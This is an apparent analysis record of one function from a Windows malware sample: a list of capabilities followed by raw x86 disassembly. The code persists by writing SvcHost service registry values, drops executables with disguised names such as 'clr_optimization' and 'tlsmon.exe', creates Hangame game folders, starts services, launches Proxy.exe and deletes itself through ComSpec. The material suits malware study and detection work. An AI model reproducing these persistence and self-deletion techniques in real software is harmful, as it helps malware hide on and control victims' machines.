Function at 0x4025fd
Capabilities:
Create directory
Create process on windows
Get common file path
Persist via windows service
Query environment variable
Query or enumerate registry value
Self delete
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x3be0
call fcn.00406b90
mov eax, dword [0x435080]
xor eax, esp
mov dword [esp + 0x3bdc], eax
push esi
push edi
call fcn.0040f428
cmp dword [eax], 2
jne 0x402c5b
call fcn.0040f42e
push 3
push dword [0x430c70]
mov eax, dword [eax]
push dword [eax + 4]
call fcn.0040f680
add esp, 0xc
test eax, eax
jne 0x402c5b
push 0xce4
push 0x436e84
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
call esi
push eax
call fcn.0040e9d5
pop ecx
call fcn.004010a1
push 0x436fa8
mov edi, 0x104
push edi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push edi
mov esi, 0x4370b0
push esi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push ecx
mov ecx, esi
call fcn.0040183f
push 0x431cb8
mov ecx, 0x436ea0
call fcn.004021de
push edi
mov esi, 0x4371c0
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push ecx
mov ecx, esi
call fcn.0040183f
call fcn.00402548
mov eax, dword [str.clr_optimization_v3.5.10809_32]
xor edi, edi
mov esi, edi
jmp 0x4026e4
mov ecx, eax
call fcn.00404c6f
test eax, eax
jne 0x402b22
mov eax, dword [esi*4 + 0x430c84]
inc esi
test eax, eax
jne 0x4026cd
mov edx, dword [0x430b90]
mov ecx, dword [0x430b60]
call fcn.00402f87
cmp eax, 1
jne 0x402b22
mov eax, dword [0x430c60]
mov dword [esp + 0xc], edi
test eax, eax
je 0x4027f1
xor esi, esi
mov edi, 0x430c60
mov dword [esp + 8], esi
mov ecx, eax
call fcn.00404c6f
push ecx
mov ecx, dword [edi]
or edx, 0xffffffff
call fcn.00404cf3
mov edx, dword [esi + 0x430c68]
pop ecx
push dword [esi + 0x430b54]
mov ecx, dword [edi]
push dword [esi + 0x430c58]
call fcn.00404e03
pop ecx
pop ecx
test eax, eax
je 0x402b22
mov esi, dword [edi]
lea eax, [esp + 0x10]
push eax
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x402b22
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push 7
push 0
push esi
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [esp + 0x10]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x402b22
mov esi, dword [esp + 8]
mov edx, dword [edi]
mov ecx, dword [esi + 0x430c88]
call fcn.00404eea
test eax, eax
jne 0x402b22
mov edx, dword [edi]
mov ecx, dword [esi + 0x430c88]
call fcn.00404f9c
test eax, eax
jne 0x402b22
mov eax, dword [esp + 0xc]
inc eax
mov esi, eax
mov dword [esp + 0xc], eax
shl esi, 2
mov dword [esp + 8], esi
lea edi, [esi + 0x430c60]
mov eax, dword [edi]
test eax, eax
jne 0x40271e
xor edi, edi
mov eax, dword [str.intorsf.exe]
xor esi, esi
inc esi
test eax, eax
je 0x402826
push 4
pop ecx
mov edx, dword [ecx + 0x430b90]
mov ecx, eax
call fcn.00402f87
cmp eax, 1
jne 0x402b22
inc esi
mov ecx, esi
shl ecx, 2
mov eax, dword [ecx + 0x430b60]
test eax, eax
jne 0x402800
call fcn.004022f5
mov edx, dword [0x430b60]
mov esi, 0x4371c0
mov ecx, esi
call fcn.00402e51
mov edx, dword [str.intorsf.exe]
mov ecx, 0x4370b0
call fcn.00402e51
mov edx, dword [0x430b68]
mov ecx, 0x4370b0
call fcn.00402e51
mov edx, dword [str.intorsfx.exe]
mov ecx, esi
call fcn.00402e51
mov edx, dword [0x430b70]
mov ecx, esi
call fcn.00402e51
mov edx, dword [str.tlsmon.exe]
mov ecx, esi
call fcn.00402e51
mov edx, dword [str.wmispm.exe]
mov ecx, esi
call fcn.00402e51
push 0x3f8
lea eax, [esp + 0x94]
mov dword [esp + 0x20], 1
push edi
push eax
mov dword [esp + 0x24], 0x400
mov dword [esp + 0x94], 0x6e6f685c
mov dword [esp + 0x98], 0x726867
call fcn.004077d0
add esp, 0xc
lea eax, [esp + 0x14]
push eax
push 0x20019
push edi
push str.SoftwareHangameHanStarter2GameQ6pGlZRg
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x402955
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x6c4]
push eax
lea eax, [esp + 0x24]
push eax
push edi
push str.folder
push dword [esp + 0x28]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x402955
lea edx, [esp + 0x88]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x40291b
lea edi, [esp + 0x6c0]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40292c
mov ecx, edx
lea eax, [esp + 0x6c0]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor edi, edi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
jmp 0x40298b
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push edi
push str.C:Hangame
call esi
push edi
push str.C:HangameHanStarter2
call esi
push edi
push str.C:HangameHangamePoker
call esi
push edi
push str.C:HangameHanStarter2Poker
call esi
push edi
push str.C:HangameHangamePokerhonghr
call esi
push edi
push str.C:HangameHanStarter2Pokerhonghr
call esi
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [0x430c60]
mov dword [esp + 8], edi
test esi, esi
je 0x4029fd
push 0xf003f
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x4029e6
push 0x14
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x4029cf
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x4029e6
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
mov eax, dword [esp + 8]
inc eax
push 0
mov dword [esp + 0xc], eax
pop edi
mov esi, dword [eax*4 + 0x430c60]
test esi, esi
jne 0x4029a3
mov eax, dword [str.clr_optimization_v2.0.218119_86]
mov esi, edi
jmp 0x402a1c
push ecx
mov edx, 0x7d0
mov ecx, eax
call fcn.00404cf3
mov eax, dword [esi*4 + 0x430bc4]
inc esi
pop ecx
test eax, eax
jne 0x402a06
lea eax, [esp + 0x28]
push eax
call fcn.0040fc50
pop ecx
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x490]
push eax
call fcn.0040ec67
lea eax, [esp + 0x494]
push eax
call fcn.0040e9a1
add esp, 0xc
add eax, 0x7e90
mov dword [esp + 0x20], eax
lea eax, [esp + 0x20]
adc edx, edi
mov dword [esp + 0x24], edx
push eax
lea eax, [esp + 0x490]
push eax
call fcn.0040ec67
mov esi, 0x104
lea eax, [esp + 0x4b8]
push esi
push edi
push eax
call fcn.004077d0
mov eax, dword [esp + 0x4b0]
add esp, 0x14
inc eax
push dword [esp + 0x48c]
push dword [esp + 0x494]
push dword [esp + 0x49c]
push dword [esp + 0x4a4]
push eax
push dword [esp + 0x4b4]
lea eax, [esp + 0x4c8]
push str._d_02d_02d_02d_02d_02d
push esi
push eax
call fcn.00402221
add esp, 0x24
lea eax, [esp + 0x5b8]
push esi
push edi
push eax
call fcn.004077d0
add esp, 0xc
lea eax, [esp + 0x5b8]
push dword [0x430c60]
push str.SYSTEMControlSet001Services_sSecurity
push esi
push eax
call fcn.00402221
lea ecx, [esp + 0x4c0]
add esp, 0x10
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402aff
sub ecx, edx
lea eax, [esp + 0x4b0]
push ecx
push ecx
push eax
push ecx
lea edx, [esp + 0x5c8]
call fcn.004050c1
add esp, 0x10
mov edx, dword [str.Proxy.exe]
mov ecx, 0x431de0
call fcn.00402e51
push 0x44
pop esi
push esi
lea eax, [esp + 0x44]
push 0
push eax
call fcn.004077d0
xor eax, eax
mov dword [esp + 0x4c], esi
mov word [esp + 0x7c], ax
lea edi, [esp + 0x3c]
stosd dword es:[edi], eax
add esp, 0xc
mov dword [esp + 0x6c], 1
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [esp + 0x30]
push eax
xor edi, edi
lea eax, [esp + 0x44]
push eax
push edi
push edi
push 0x20
push edi
push edi
push edi
push str.C:Proxy.exe
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0x436e84
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push edi
push 0xa
call dword [sym.imp.KERNEL32.dll_SleepEx]
mov esi, 0x1060
lea eax, [esp + 0xac0]
push esi
push edi
push eax
call fcn.004077d0
add esp, 0xc
lea eax, [esp + 0x1b20]
push esi
push edi
push eax
call fcn.004077d0
add esp, 0xc
lea eax, [esp + 0x2b80]
push esi
push edi
push eax
call fcn.004077d0
add esp, 0xc
lea eax, [esp + 0xac0]
mov esi, 0x830
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x402c57
push esi
lea eax, [esp + 0xac4]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
test eax, eax
je 0x402c57
lea eax, [esp + 0xac0]
push eax
push 0x431de4
lea eax, [esp + 0x1b28]
push esi
push eax
call fcn.00402280
add esp, 0x10
lea eax, [esp + 0x2b80]
push esi
push eax
push str.ComSpec
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x402c57
push edi
push edi
lea eax, [esp + 0x1b28]
push eax
lea eax, [esp + 0x2b8c]
push eax
push edi
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor ecx, ecx
cmp eax, 0x20
setg cl
mov eax, ecx
jmp 0x402c5e
xor eax, eax
jmp 0x402c5e
or eax, 0xffffffff
mov ecx, dword [esp + 0x3be4]
pop edi
pop esi
xor ecx, esp
call fcn.00405d30
mov esp, ebp
pop ebp
ret 0x10